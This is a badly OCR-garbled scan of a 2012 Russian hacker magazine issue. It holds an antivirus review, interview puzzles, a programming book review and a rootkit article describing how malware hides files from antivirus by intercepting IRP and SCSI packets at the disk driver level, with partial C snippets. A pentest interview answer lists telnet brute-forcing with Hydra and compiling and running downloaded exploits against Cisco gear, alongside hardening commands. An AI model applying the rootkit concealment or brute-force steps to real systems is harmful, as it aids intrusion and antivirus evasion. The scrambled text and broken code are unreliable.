Комментарий I[: Есть одна маленькая проблема. Вирмэйкеры имеют доступ к тем же версиям iпtеrпеt sесuгitу, что и обычные пользователи. 0ни используют этот факт в своей работе. Поэтому стопроцентную уверенность в том, что новый KlS защитит тебя от любой неизвестной угрозы, испытывать не приходится. O6новлять П0, быть хорошим мальчиком и шариться по совсем злостному iпаррrоргiаtе content'y из-под виртуальной машины с линуксом или макосью (зато красивоll все равно имеет смысл. ПOИСК УЯЗВИИОСТЕЙ

Уследить за всеми потенциально уязвимыми прOграммами вручную не так прOст0 программ мнOг0, а уязвимOсти для них появляются каждый день. Новый Каспер имеетдоступ к базе Secunia *той самой, которая выпускает замечательную Secunia Регsопаl Sоftwаге lпsресtог {PSl) программу, сканирующую установленный на компе софт

-

на уязвимости. Теперь все эти удовольствия

отличная доступны из KlS. Серьезно, Secunia бесплатная прога с хорошей базой, Если у тебя нет денег на Каспера, поставь хотя бы ее вместе с каким-нибудь халявным антивирусом из наших обзоров.

-

хАкЕр 09/]64120]2


Каsрегskу lпtегпеt Secuгity: новая версия

q-

кАtрЕRrкYЁ

3ащпта

в

*

1,1

облакэ

отчеты

HacTpoljKa

Бвоmонче шатфх

Д86ашь

ТАКЖЕ НА АРЕНЕ ||иск аварийного

восстановленпя

Линуксовый загрузочный диск, который стоит испOльэOватьt если твOя система накрылась или залOчилась окончательн0. Автоtиатиэирован он стопроцентно конфиги править не надо, загружается cat{ собой, подхватыsает интернет, качает обновление и сканирует жесткие диски.

восстановление

после зарах(енпя Не секрет, что после лечения активного эаражения нередк0 начинают пOявляться странные глюки и лишние диалOгOвые 0кошки, требующие от тебя какой-нибудь необходимый файл. Модуль восстановления после заражения помогает с этим справиться.

Безопасные платежи Выполняйте Оанковцие операции и оmачи8ай|те покупки в интернет-мавзинц

бра'3ер. ,

|ir]I.

через заlцицевный

_:]:.l]i

пппr,

KlS, а точнее его модуль родительского контроля тоже может поN4очь. Контроль переписки, lМ и социальных сетей? Пожалуйста! 0граничение времени работы в интернете? легко! Только помни, что техническая заэт0 0дна стOрOна защиты, а правильщита ное воспитание совершенно необходимая вторая. !а что тут говорить большинство наших читателей последнее поколение тех, кого некому было зацищать от компьютеров, FТN-сетей и интернетов, Мы сами в детстве от них кого хочешь бы защитили:]. Так что в этOм плане мир в хOрOших руках.

-

Трудно удивить пользователя сигнатурным

сканером. ltlонитор, быстрая проверка, полная проверка все, как и раньше. Разве что работает чуть побыстрее. В Каспер"Лаборатории скOг0> утверждают, чт0 нOвая версия придется ко двору даже на нетбуках, похоже, что так оно и есть, на моем стареньком Asus ЕЕЕ РС 1001РХ с расширенной до 2 Гб RAM втечение двух недель особых тормозов не наблюдается.

-

-

@

3олотые нулевые закончились, и жизни пOдрастающему пOкOлению теперь сOвсем Не СТаЛО. В.жестокиеl> компьютерные игры играть-строго с 14ле1 прон смотретьто ли с 18, то ли вообще с 21... В общем, интернеты бушуют, а общественные деятели настаивают, чт0 над0 держать, запрещать и не пущать. В деле борьбы со школьниками

-

-

-

-

tт!пilla!|tilFr Всякому, кто имеет электронные деньги и хотя бы отдаленно знаком с текущей ситуацией в мире малвари, станOвится 0чевидн0: пOра переходить на пингвина. С другой стороны, линукс сакс и нот фо ворк (славно я

-

[

вбросил, не так ли?:]], и, если даже Андрею <апdгushосk> Матвееву не стыдно за винду на своих ноутбуках, то... в общем, придется пользоваться lпtеrлеt Secuгity. В этом плане новые KlS и КАV-достойные продукты, которые наверняка найдут свое место на наших виндовых машинах. У многих из наших они стоят

на домашних машинах, и особых претензий к ним нет, но вот уже второй год мы не можем от-

делаться от вопроса: где же VPN? Где же, где же в новом KlS секьюрный VPN, который защитит данные пользователя в недружественном Wi-Fi lи не только] окружении? Что делать в незащищенных сетях в McDonald's и прочих публичных местах? Еще одна плохая новость: ввезапно оказалось, что фичи отдельного запуска подозрительной программы в сэндбоксе теперь нет. 0чень странно как же теперь люди с исключительно образовательными целями будут запускать кейгены?

Е

Пфц уяýшrоmй

[lоиq уявимбей в ФФеre и Фронних прФраммах дlffi|Ф&lФюt ? ашшtьлqwотrыtо!

7 !щý*rb

E@l

офшфg.

е МЕълф"@€..rфпф] фмrъдаЬ&с: ,i

F fu,f.оrФФr.т*

{

__ &щlщ!щ

афffi.обвффцqlFыdшоlёt.;

an

Фбмl

ФlФ.

опmоm по.Ф.й

(Бý)

,.

!

9 36фть дýiбOЁ фiфп,.Фl

хлкЕр

09

l1ьцlа012

п@спотфвфtяgяmi,

-

теперь ]ффект от вредоносного ПО мохно откатить

мтФ,4lфmNф@

Ьюч.t.поýпF( пmдк.ф p.xol.W.rc дr п(пр.и.iilr .fuюч.i..Фв(Фдк@ hrоп.W.rФфl в(пр.м.i{. Ф.юм о виюч.i.попф( H.oбr!.r.rba. Фr ýФD..л.пфr , fuфч.п.mшFффншпйлФй Р.(оп.щý.r д, вФЕ.Ф.япr О МhфПhМ фlоЕr очфm кор,D фiхцUЦ Н.о б rr.,.льпо дr и.пр.и.*п r мk.офаhы &Dм dмеФ щоDiЕд.rнц htо(щ!тофr !пр.и.i!r ошючft оmФ оrФФ о мilоюR Iпtм ФЕ. н.обr].r.льно &r вФр.цснпI о мkоdr.lfrФоЕ.rшfrф Мtr9tlпЕмФоr.rФючftмФ kхол.щ.т.rдr кпоамФпr мhфtlпt ml фlоЕl очmпlаоФпЕю H.oбr!lr.!bdo д, пФрд.i.iп

9праца ВФсlаювmь

Мониторинi активно(ти

оф

Поиск уязвимо(тей

в

действии

поryч.пнЕ по-цrцФi.ry об

оФ

фбш

о{щФ сфпrw

шrшм!

пр, !*ршr,

фfuбфЕв

(


1,1ALYlrARE

Александр Эккерт lstannic,managmail,com]

если

сможешь

][-КOНЦЕПТ: CKPЬIBAE},| ФАйЛЬl ПO-НOВOМУ Самое главное умение эт0 умение для руткита скрывать файлы. Именно 0но позволяет ему выживать в мутной воде, под прицелом бдительных хипсов и проактивок. Ведь антивирусу для того, чтобы что-то проверить по своей базе, нужно наличие самого файла как минимум. Нет файла нет руткита. Нет руткита систему можно считать чистой, бодро вывешивая зеленые

-

флажки. Ведь так?

I надискя выкладываю пару прийеров файловых фильтров,

позволяющих

тебе отслехивать работу с файловой системой. готовых примерOв (окрытхя не дам, я жадный :l. в статье описаны 0(нOэные приемы, при должном уtении -ты сам найдещь приейлеиое рещение.

I Еслхты совсем не

(юда: теме -тебе tiпучrl.соm/сWrlо7З. читай l..lsDNописание работы в

( файловыffи

фильтрами. Rесоm-

mended bylilicrosoft!

I

для кOг0 не секрет, чт0 нынешние хваленые антивирусы делают ставку на сигнатурный поиск малвари, де-факто игнорируя lда-да, я знаю, что в рекламе пишут иначе) другие способы детекта, такие как поведенческий анализ и эмуляция. Микко Хиппонен {Mikko Hypponen), директор по исследованиям антивирусной компании F-Sесчге, сказал по поводу новоявленного чуда по имени Flаmег, что разработчики антивирусов потерпели полное фиаско. uКакой от них толк, если вирусы свободно распространяются и работают годами. tlаmе успешно шпионил за пользователями как минимум два гOда, и эт0 0птимистичная 0ценка,..> посетовал Микко Хиппонен. и

С ростом сложности руткитов lначиная с того момента, когда

иметь драйвер уровня ядра для обеспечения стабильности руткита стало <модным трендом"l функционал самозащиты, в том числе

сокрытия файлов, был перемещен в ядро. Это и понятно, поскольку при правильной организации найти сокрытый файл лишь средствами юзерспейса в таком случае вряд ли представится вOзможным.

Способов сокрытия файлов в ядре на самом деле немного. Первый из них связан с перехватом определенных Native АРl, предназначенных для низкоуровневой работы с файловой системой, к примеру ZwOpenFile, ZwReadFiIe и так далее. Надо сказать, что такой подход широкого распространения <в боевых условияхо не получил, что легко объяснимо уж больно быстро выявляется, !ругой способ сокрытия файлов основан на перехвате lRPпакетов, составляющих основу взаимодействия драйверов и устройств между собой. Этот способ получил наиболее широкое распространение в паблике из-за своей малозаметности и довольно легкой реализации. Надо сказать, что именно перехват lRР-пакетов lKaK для сокрытия файлов, так и для других зловредных целей] стал прямо-таки источником вдохновения для руткитостроителей. Затем настало затишье, сменивщееся революционным прорывом руткита Rustock, в котором впервые, если не ошибаюсь, была применена технология сокрытия, основанная на фильтрации операций с диском на самом низком уровне уровне драйвера atapi.sys. Последовавшее за Rustock'oM семейство руткитов TDL/ TDSS лишь немного усовершенствовало данную технологию. 0сновной же принцип остался без изменений сокрытие (служебных> файлов руткита происходило путем перехвата и изменения SRВ-пакетов ISCSl Request Block] на самом низком уровне уровне lRР-хендлеров драйвера atapi.sys. С тех пор ничего оригинальнее такого способа придумано не было. Есть много вариаций на этутему, однако суть везде остается 0дна. У данного метода есть один существенный недостаток: так как руткиту приходится заражать системные драйверы, ему как-то надо выкручиваться при включенном Page Guагd технологии, направленной на обеспечение целостности системного адресного пространства. Кстати, на мой взгляд, эта технология довольно неплохо зарекомендовала себя в плане противостояния руткитам в Wiп7, но также существенно осложнила жизнь разработчикам антивирусных защит, ведь для устанOвки свOих <хOрOших> хукOв, скажем, поверх SSDl также приходится обходить Page Gчагd.

-

-

-

-

-

Свои файлы малварь обычно скрывает несколькими способами. 0ни все широко известны и, как правило, основываются на перехвате WiпАРl-функций системы, предназначенных для работы с файловой системой, пеРечислением и просмотром папок и самих файлов,

088

хлкЕр

09 l16t+/

2012


поймай меня, если сможешь

Семерка становится все популярнее, скоро от поддержки (хрюши)) мiсгоsоft откажется {да-да, у них там уже счетчик тикаетi, поэтому взгляды антивирусных компаний устремлены в будущее главным требованием для их программных продуктов стала поддержка Windows 7 lхЗ2lхьt ), а в скором будущем и <восьмерки>, которая п0 всем прикидкам должна стать очень популярной системой, Надо сказать, что фильтрацию lRР-пакетов можно наладить двумя способами. Первый, самый известный, основан на аттаче своего фильтра к стеку устройств, обслуживающих файловую систему. Такой способ очень хорош и надежен и хорошо документирован. Тем более что именно эта технология усиленно продвигается Майкрософтом как единственно верная и правильная. Второй способ чистый хак, и он основан на перехвате kегпе -функции lofCa lDгiчег lкстати, в одном из прошлых номеров ][ я уже писал об этом универсальном способе перехвата]. Сложность его заключается в том. чтобы правильно определить нужный тебе lRР-пакет, ведь в единицу времени lоfСаllDгiчег вызывается десятки тысяч раз и ее используют все устройс,ва, каким не лень. Еще реже в природе встречается перехват lRР-пакетов, основанный на своеобразном <антианалоге> lоfСаllDriчег- функции завершения lof CompleteReque5t, которая также обрабатывает lRР-пакеты.

-

-

-

ffi

Итак, подведу промежуточный итог: сокрыть файл для руткита нужное, дел0 важнOе, 0днак0 с ростом защищенности -дел0 0С, о чем я писал выше, приходится идти на некий изврат надо как-то решать проблемы с Page Guаrd либо обходиться без патчей keгпе1-mеmorу. Вообще, решить и ту и другую задачу в рамках ограничений .семерки> можно. Расписывать способы обхода Page Guагd я сегодня не буду, статья все-таки не об этом. Но вот пофантазировать насчет возможного Stеаlth-сокрытия файлов с использованием имеющихся технологий мы очень даже можем. Итак, гоставим перед собой задачу организовать на необходимом нам уровне сокрытие файлов в Windows "Sеmегkа>, при этом не нервируя Page Guагd. Сделать это, как оказывается, не так уж и тяжел0, дOстатOчн0 иметь некоторые навыки написания драйверов и иметь приблизительное понятие о том, как работает файловая система.

-

-

На практике реальных способов сокрытия файлов можно придуматьдовольно много, и все они будуттак или иначе работать. Главное для нас сейчас не трогать системную память, чтобы дать возможность драйверу работать в Win 7+. Самое простое, что приходит в голову, это заняться обработкой lRP с кодом lRP_MJ DEVlCE_CONTROL, которые привлекаются к обработке таких контролкодов, как l0CTL_SCSl_PASS_THROUGH Dl R Ест. Сделать это относительно легко, скажем, примерно так:

-

-

pIrpstack = IocetcuгnentIгpstackLocation(pIгp);

if t

(pIгpstack->MajoгFunction

== IRP_MJ_DEvIcE_coNTRoL)

if (рIгрStасk->Рагаmеtепs.DечiсеlоСопtгоt.IоСопtпоt

Code == IOCTL_SCSI_PASS_THROUGH,DIRECT) {

lf (рIгр->UsегВuffеп t

if

{,

(

КеGеtСчгпепtIгq1(

HideмyFile(.., );

}

) )

рIrр->UsепВuffег и имени файла, что можно сделать примерно так:

if

( !_Wcsnicmp( (PWсHAR)

FileNameToнide,

{ /

/

((ULОNG_РТR)UsегВuffег + oxf2),

) )

Затираем содержимое

(РVOID)USегВuffег, 0, USeгBuffenLength); memset((PVOID)((ULONG_PTR)UseгBuffeг + axf2), О, 1s),; memset( }

Реализация такого <сокрытия> это один из наиболее простых и предполагаемых вариантов. При обработке необходимо помнить 0 пOдвOдных ка[4нях, например, над0 предусмотреть различие

между NТFS-индексами и самими файлами, Щругой способ, приходящий в мою нетрезвую голову, сто дать по рукам обработчику lRР-пакетов:

pIгp->IostatuS.Status = STATUS,NOT рIгр->IоStаtuS. Iпfогmаtiоп Iocomp],eteReqUest

(

pI

пр,

09

/16dlr0]2

это про-

IMPLEMENTED;

= 0.; I0_N0_INcREMENT).;

-

-

попытаемся

спрятать файл в одном из (<высокихD фильтров и при

этом где-то ниже нас. над атапи, будет сидеть файловый фильтр авера. т0 эт0 [40жет привести к зависанию системы и даже к <синему экрану>.

Эту же схему сокрытия можно использовать практически во всех файловых фильтрах как стандартных, рекомендуемь х Мiсгоsоft, так и самопальнь х, писанных на коленке. Кстати, насчет той самой <рекомендуемой" Мiсгоsоft технологии организации файловых фильтров, основанной на вызовах tltRegisteгFi tег/FltStаrtFiltегiпg и так далее. flанная технология дOвOльн0 успешн0 используется всеми аверскими прогами, фильтрующими работу с файлами. На диске ты найдешь один из таких примеров, который поможеттебе организовать свой файловый фильтр, а также потренироваться в технике сокрытия файлов.

-

И опять старые сказки 0 главном. Прогресс не стоит на месте, разработчики аверов опять оказались в роли догоняюцих, В тырнетах новый аврал по имени Flаmе. Руткит, который в силу 0граниченнOсти распространения смOг, по разным данным, 0т двух д0 пяти лет скрыт0 прOсуществOвать в строго локализованной географической зоне. Все бы ничего, но только дело теперь в том, что с появлением

-

этого руткита открьiлась новая страница в области lТ-безопасносвирусьi и руткиты начали использоваться как кибер-

ти

-теперь и

е.

Что это? Начало эпохи кибервойн? Читай ][, чтобы быть во всеоружии|

}

-

Что называется, дешево и сердито. В результате при приеме нужных нам lRР-пакетов мы просто говорим системе, что <этот столик не обслуживается", и система верит нам на слово. Как результат- пакет, посланный авером/системой, чтобы прочитать содержимое файла или узнать его имя, просто будет отброшен, Теперь о самом интересно[4 где все это отслеживать и фильтровать. Наиболее эффективный и действеннь й способ это приаттачиться к устройству и парсить lRР-пакеты там. "\\Device\\Disk" Как правило. данное устройство создается драйвером atapi.sys. а ниже этого драйвера ничего нет там только чтение/запись портов жесткого диска. То есть данное решение обеспечит нам обход любых фильтров, установленных аверами. Кстати, именно такой подход используется в семействе руткитов TDL/TDSS и Rustock. Тут необходимо сказать, что фильтрация выше данного девайса при попытке сокрытия файла может привести к жесткому когнитивному диссонансу у аверской проактивки. К примеру, если мы

0руж

} }

хАкЕр

!

!= 0)

В самой процедуре сокрытия файла HideMyFile(], в принципе, нет ничего сложного: там необходимо реализовать обнуление поля

fE


Ргеviеw кOдинг

91

6

глАвных книг

0

кOдингЕ

Чтобы стать грамотным кодером, недOстатOчн0 мнOг0 писать, нужно еще и много читать. Но что именно

читать? Книг о программировании существует великOе множеств0, и времени прOчитать все тOчн0 ни у кого нет. Перед тобой первая часть обзора лучших книг по программирOванию всех времен и народOв. Здесь ты найдешь как фундаментальную литературу об алгоритмах и проектировании кода, так и сборники чист0 практических сOветOв. Почти все книги в списке нужно не прOст0 читать, а перечитывать мнOг0 раз вплOть д0 пOлнOг0 пр0светления.

кOдинг

98

uNlxolD

FАсЕ 0FWlllDOWsPH0llE

АнАт0].lия стРЕкO3ы

СКРЫТЫЕРЕЗЕРВЫ

родолжен ие статьи о разработке приложений для платформы Windows Phone 7. На этот раз речь пойдет о дизайне

BSD мертв?Хватитнасиловать

Переключен ие между видеока ртам и головная бол ь для любого л инуксоида,

П

и

труп? Попробуйте рассказать это

разработчикам DrаgопFlу BSD-caMoMy

разработке интерфейса,

иннOвациOннOму(дьявOленку>.

FERRUll

SYil/^cK

гр030выЕOБлАкА Подробный сравнительный обзор решен ий для построения полноценной облачной инфраетруктуры офиса и

-

делающая невозможной нормальную работу с GPU, Как решить эту проблему?

-для

для личнOг0 пOл ьзOва ния.

Е

l+'":;hh;н,""",:,,н;;::]il:' для ширOкOг0 круга клиент-серверных приложений.

l

ilшiТжlЁНr,"lпннж*, готы узнаешь мнOгое об lТ-индустрии чдивительного Китая.

хлкaр

а9 l1b1,12012


кOдинг

Павел Александровхч (ivin5ide,blog5pot.cOm]

а Задачи

на'iобеседова ниях

пOдБOркА

интЕрЕсньlх зАдАний,

KOTOPЬIE дАют НА СOБЕСЕДОВАНИЯХ

Салютую вам, мои дражайшие читатели! Сегодня мы продолжим наше темное дело решение

-

задач с собеседований.

3адача

Ng

1

услOвиЕ

четырем туристам нужно ночью переправиться через реку по подвесному мосту. Мост уже сильно обветшал, в настиле есть дьiры, и 0н мOжет выдержать одновременно не более двух человек lесли на мосту окажется более двух человек, мост обрушитсяl. Туристам нужно освещать дорогу фонариком иначе 0ни мOгут прOвалиться в дыру в настиле моста и погибнуть, но у них есть только один фонарик, Эти четыре человека передвигаются с разной скоростью. Адам может перейти мост за одну минуту, Лари за две минуты, Эджу нужно пять минут, самый медлительный из всех Боно ему потребуется десять минут, чтобы перейти мост. Ровно через семнадцать минут мост обрушится. Каким образом все четверо могут успеть через него переправиться?

-

-

-

рЕшЕниЕ у задачи существует два варианта решения. Оба они основаны на том, что Эджу и Боно нуж��о переходить мост вместе, Так они сэко-

номят наибольшее количество времени.

Ддам иЛари переходятмостl2 минутыl. Адам возвращается [З минутыl. Адам передаетфонарь Эджу и Боно, они переходят Л4ри возвращается с фонаРем (15 минутl. Адам иЛари переходятмоствместе [17 минут].

хАкЕр 09/]64l20]2

{13

4. Адамберетфонарьи возвращаетсязаЛари(l5минутl, 5. Адам иЛари переходятмоствместе(l7минут].

3адача

Ng

2

услOвиЕ В деревне, где живет пятьдесят семейных пар, каждый из мужей изменял своей хене. Каждая из женщин в этой деревне, как только

ктO-то из мужчин изменил своей жене, немедленно узнает об этом lBceM известно, как быстро распространяются сплетни в маленьких городках], если только это не ее собственный муж lo своих бедах

каждый узнает последним].3аконы этой деревни требую1 чтобы женщина, пOлучившая дOказательства неверности своего мужа, убила его в тот же день. Ни одна из женщин не может ослушаться. В селение приезжает королева, славящаяся своей непогрешимостью. 0на объявляет жителям, что по крайней мере один из мужчин деревни сOвершил супружескую измену. Что произойдет?

рЕшЕниЕ

Первы й вариа'нт [в скобках указано прошедчlее время|:

1. 2. 3. 4. 5.

Второй вариант: 1. Адам иЛари переходятмост|2 минуты). 2. Лари возвращается {4 минуты]. 3. ЛарипередаетфонарьЭджуи Боно,они переходят(]4минут].

минутJ.

эта великолепная задача является классической среди логичесхих головоломок, впервые она была представлена s книге физика flжорджа Гамоу и математика Марвина Стерна Puzzle-Math [.Математические головоломкиr} в 1958 году, Правда, в их версии фигурировали неверные жены.


кOдинг lr-4ногие читатели подумают, что королева не сказала ничего нового жителям. Жень и так знают об изменах 49 мужей. Но действительно ли это так? Представим ситуацию, когда в деревне всего один неверный муж. Тогда его жена убила бы его сразу после заявления королевы ведь она не знала об изменах других мужей, 0днако убийства не происходит, и это информирует всех. что невернь х-мужей больше одного по крайней мере два. И если невервь]х мужей было бы только два, их жены убили бы их на второй жены бы убили их на третий день. и день, а если бы их было три их сорок девять жен так далее. И если бы их было сорок девять убили бы их на сорок девятый день. Таким образом, через каждые сутки, которые прошли без убийств мужчин, становится общепонятной истиной, что количество гулящих [,4ужчин стало больше на единицу.,Що тех пор,

з. Сменить пароль привилегированного и пользовательского режиNlов с шифрова нием:

>епаЬlе

-

fconfig tегmiпа],

-

-

Nq

(config-1iпе)#login

(

5.

6.

уязвиllостей следует выполнить четыре незатейливыхдействия: 1. 0пределить версию оборудования lэто обычно написано на корпусе устройства).

Поискать в интернете суцествующиеуязвимOсти ленной версии оборудования lнапример, запрос .Уязвимости Cisco 2600u].

#logi

п

ПАРОЛЬ4

для 0предев

google.com:

vension

Настроим МСЭ соответствующим образом, ниже пример запрета FТР-трафика:

и ввести логин-пароль, заданные по умолчанию (Cisco:Cisco]. Если не помогло, то пробуем метод Ьгчtеfогсе: можно перебрать пароли для tеlпеt, используя ТНС-Нуdrа. Например, так:

SоftWаге

командDl:

0тключим управление через НТТР, HTTPS, CDP:

>telnet 192,168.1.2

IOs (tm) С2600 softwaгe (c2600-IS-M), Vегsiоп 12.З(З), RELEASE SOFТWАRЕ (fc2)

Также можно узнать с помощью следующей

8 Staгtup-confi8

flля выявления уязвимостей, а попросту говоря взлоl,ilа нашеrо девайса }lожно сделать следующее. 1. Взломать вручную или используя программы. Пробуем подключиться поtеlпеt:

версии операционки, например:

cisco Iпtегпеtwоrk oрегаtiпg system

hуdга 192.168.1.2 ciSco -Р./список-паролей

2.

-t

З0

Найти искачатьэксплойтыдлясоответствующеговида l0S. !,ля этого можно сделать запростипа "l0S 12.0 exploitu. Также можно воспользоваться

поискоl,.л по сайтам с эксплойтами

Поискать в интернете существующие уязвимости для определенной версии l0S |например, запрос в gооglе.соm:.Уязвимости Cisco l0S 12.0u, также ищем сообщения безопасности на сайте производителя cisco,com],

[например, на exploii-db,com) и, следуя прилагающимся к ним инструкциям, воспользоваться уязвимостью.,Щля этого может потребоваться компилировать эксплойт.,Щля языка С команда может быть следующая:

Для устранения уязвиttостей MolKHo проделать следующие щаги: Если есть возможность, то обновить версию l0S:

>gсс

-

1.

)

#access-list 110 deny tcp апу any eq ftp

3. 0пределитьверсиюlOS,ПриподключениикоборудованиюСisсо

4.

пе

(сопfig)#по ip http sегчеп (config)#no ip http Sесuге-SегVег (сопfig)#по cdp гUп

рЕшЕниЕ

>show

li

(config-line)#no Sепчiсе pasSwond-encгyption (сопfig-liпе)#/ч Z

ff.ля обнаружения

о

config-

(confi g-line)#pasSWoгd

#гuппiпg-сопfi

указанному оборудованию.

выдается сообщение

0

(confi g- 1ine)*passwond ПАРОЛЬЗ (config-Iine))#1ine Vty 0 0

-

2.

ПАРOЛЬ2

l,, Сохраним конфигурацию, для ее загрузки перед запуском

3

Во время проведения пентеста вам в распоряжение предоставлено оборудование Cisco на базе l0S, Задача максимально быстро обнаружить уязвимости в оборудовании. 0пишите последовательность ваших действий lB том числе вь]полняемых команд], которые позволят выявить максимальное количество возможнь х уязвимостей в предоставленном оборудовании. Примечание: вы обладаете полным к

config-line)#pasSWoгd

(config-line))#llne console

услOвиЕ

дOступом

ПАРOЛЬ1

(

пока это общепринятое знание не превысит число, которое знает женщина. Это будет означать, что изменяет ее муж, и она убьет его. 0твет: в первые 1+9 дней ничего не произойдет, а на 50-й день случится кровавая бойня,

3адача

(config)#enable secnet

(config)#seгvice passwoгd-encгyption (сопfig)#].iпе aux 0 ( config - 11пе )#logln

-

exploit.c -о exploit

после этого выполнить эксплойт: show flash

>./exploit 192.168.1.2

delete flaSh: OS.bln

copy.tftp геlоаd

2. Установить

,

flash Либо, если язык интерпретируемый, сразу выполнить. Пример для языка Ruby: время: >пUЬу

ехрlоit.гЬ 192.168.1.2

80

>enable

#clock Set 18:41:].0 18 ju]"

20].2

хдкЕр

о9 /1ь1,/ 2012


Задачи на собеседованиях

3адача

Ng

4

услOвиЕ Нужно нарисовать таблицу с большим количеством столбцов. Чтобы таблица уместилась в экран, заголовки столбцов решили выводить вертикально. Придумайте и реализуйте кроссбраузерное решение для вывOда вертикальных заголовков. Браузеры: lE6+, FFЗ.0+, 0рега 9,5+, Сhгоmе 4.0+.

рЕшЕниЕ 0дна из немногих задач, где решение для lпtегпеt Ехрlогег является самым простымl

в нем,

-

согласно рекомендациям WЗС, реализовано свойство writing-mode. fl ругие разработчики отличились каждый по-своему- в Firеfох есть свойство -mоz-trапsfогm, 0рега предлагает использовать -о-tгапsfогm. ну а разработчики движка Webkit loH применяется в браузерах Sаfагi и Сhrоmе| придумали -webkit-tгansf огm. Следующая проблема подстерегает нас в браузерах Firеfох, 0реrа 10.5], Sаfагi З.5, Сhгоmе: при пOвOрOте текста поворачивается и сам блок с текстом таким образом, что длина и щирина блока меняются местами. Текст может заехать на выше- и нижестоящие блоки. Поэтому следует предусмOтреть замену длины на ширину после трансформации текста. И наконец, косяк со старыми браузерами 0рега версии ниже']0.51 и tiгеfох версии ниже З.5. Придется отлавливать эти браузеры с помоцью JavaScгipt и поворачивать текст с помощью SVG. Поскольку в SVG нет автоматического переноса строк, повернутый текст будет в одну строку. Это придется учесть и динамически изменить размер блока так, чтобы текст не обрезался. Oкончательное рещение выглядит следующим образом:

-

в

слЕдуюlцЕм выпускЕ

1.

Естьтаблица М на N. Влевой верхней клетке (1, 'l l находится муравей. За оди н ход мура вей может передвигаться л ибо на одну клетку вн из, л ибо на одну клетку вправо. Налищите программу, которая считает количество всех путей муравья източки {'l, 1l вточку(М, N|. 06ъекты класса 0bjectWithHash лредполагается использовать в качестве ключей для Hash Мар. Укажите все ош ибки в данно},, коде:

public class objectwithHash

int id;

pubIic void setld(long id)

id

=

idj

09 /1b4l 2012

<

геtuгп

{

1of ? nul] :

7Оа; пеW Random(Seed).nextlnt();

}

public Ьооlеап

i

equals (objecttiJithHash obj

if (obj.id

==

геtUгп tгuеj геtuгп falSe;

)

id)

} } {

рпivаtе int hashCode() { геtuгп geneгateнaShcode( ) j

хлкЕр

pгotected int genenateнashcode() Iпtеgеr Seed = Math.гandom()

{

}

}

Решение задачки с необычными таблицами

3. ЧетыресобакинахOдятсявуглахбольшого квадрата. Ках<дая из собак начи нает п реследоватьдругую собаку, расположенную от нее по ходу часовой стрелки. Все соба ки бегутс одинаковой скоростью, причем они пOстOя

свOег0

н0 р!еня ют на

п

дв ижен ия так, чтоб ы

ра влен ие

п

реследовать стро го

н

п о п рям ой ту собаку, за которо й г0 нятся. Сколько времени пройдет, пока собаки поймаютдругдруга? Где это произойдет?

4. ИзЛос-АнджелесавНью-Йоркотправля-

ется п оезд с п остоянной скоростью 'l 5 i{ иль в час. 0днов ремен но и з Нью- Йорка в ЛосАнджелес п о тому же пути отп равляется

встречный поездсо скоростью 20 миль в час В тот rKe са м ы й момент из Л ос-Анджелеса с вOкзала вылетает пти ца и летит стрOг0 над железнодорожной колеей по направлению к Н ью- Йорку со скоростью 25 tииль в час. Как тOльк0 0на дOлетаетд0 пOезда, вышедшего из Нью-йорка, она немедленно разворачивается и летит в обратную сторонустой же скOрOстью, пока не встретится с пOездоtl, вышедшим из Лос-Анджелеса, пOсле чего снова разворачивается и летит в обратном на п равлен ии. Так она летаеттуда и обратно междудвумя пOездами, пOка 0ни не стOлкнутся, Какое расстояние пролетит птица?


кOдинг

Артем Табалин, инженер-проrрамми(т DevExpres5 ltaba ]па5G9mа l,comI

главньlх кн о

tr иг

]юдинге

их дOл)кЕн прочитАть кA)кдьlи, Кт0 сч итАЕт сЕБя п РOгРА1.{ },l ист0].{ Все мы прекрасно понимаем: чтобы стать профессиональным программистом, необходи мо читать специализированную техническую литературу. Но на

сегодняшний день доступно огромное количество различных изданий по программированию. l-{елой жизни не хватит, чтобы одолеть и половину из них. Какие же книги нужно читать в первую очередь? Без каких книг нельзя обойтись? В этой статье мы расскажем о тех трудах великих авторов, с кOтOрыN4и должен быть знаком каждый профессиональный разработчик.

1ш в этой статье мы рас(мотрели не все книги из золотого фонда

программерской мысли. Следуюlцую подборку книr ты найдещь в октябрьском номере I[,

€} .Jь,ъ

-

{

аq}r'

'\.-*-

d=

!


6 главных книг о кодинге

с. Макконнелл

<(СоверщенныЙ

М. Фаулер

((Рефакторинг))

код>>

Пишrlте код так, как будто сопровоr<дать его будет склонный к насилик, психопа1 который знаетl где вы жlrвете.

Напlсать код, понятный компьютери может каждый, но только хOрощпе программисты пиlлут код, понятный людяll.

о

ложно найти гуру программирOвания, кOторыи не чи-ал <Совершенный код) Стива Макконнелла. fl ействительно, одна книга, хоть и немаленькая (чуть менее 900 страниц], покрывает практически все аспекты разработки П0: от рецептов написания высOкOкачественнOг0 кода, механизмOв тестирOвания и 0тладки до стратегий оптимизации кода и психологических факторов, влияющих на разработку. Представь себе: библиография книги занимает 20 страниц и содержит более 500 источников! Книга код> одно из самых "Совершенный пOлезных и, как следствие, пOпулярных изданий по разработке П0.0на

l

ъ

издание

шподкгорlшlг ул}чшЕниЕ сущЕствующIг0 к0.1lд

понятия <рефакторинг>, раскрыл его

назначение, особенности и методы реал иза ци и.

При немалом объеме [400 страниц] книга читается буквально за пару вечерOв, 0т нее прOст0 невOзмOжно

оторваться. Главная причина головокружительнOг0 успеха книги ее практическая направленность. Все Mbi знаеN4, чт0 самая слOжная задача при пOдаче материала привести хороший показательный пример. В этом Фаулеру нет равных. Книга начинается с примера улучшения кOдакOда и этот пример сразу с головой затягивает читателя в мир рефакторинга. Всего 40 страниц дают нам вполне конкретное представление о рефакторинге, его целях, принци-

G-

-

прOграммиста.

Автор не обходит вниманием и различные методики разработки. Подробно описывается парное программирован ие, ревизии кода, разработка на основе тестирования. uРефакторинг> единственная глава книги, которую можно назвать <слабоватой>. При рассмотрении методов рефак-

торинга приводится лишь длинный слисок его видOв из книги М. Фаулера uРефаКторингu. При этом нет ни одного конкретного примера кода. Говоря о повышении производительности ПО, автор приводит убедительные дOводы против преждевременной оптимизации, когда программист в процессе разработки интуитивно распознает <узкиеD места в прOграмме и незамедлительн0 принимает меры по оптимизации в ущерб качеству кода. Приводимая статистика показывает. что в 9 из.10 своих предположений программист ощибается. Подвести итоги можно словами flжона Ро66инса: <Это просто самая лучшая книга по конструированию П0 из всех, что когда-либо попадались мне в руки. Каждый разработчик должен иметь ее и перечитывать от корки до корки каждый год Я ежегодно перечитываю ее на протяжении вот уЯе девяти лет и все еще узнаю много новогоI>

l1bll ?гt1'

любое

орефакторингессылается на книгу Мартина Фаулера

-

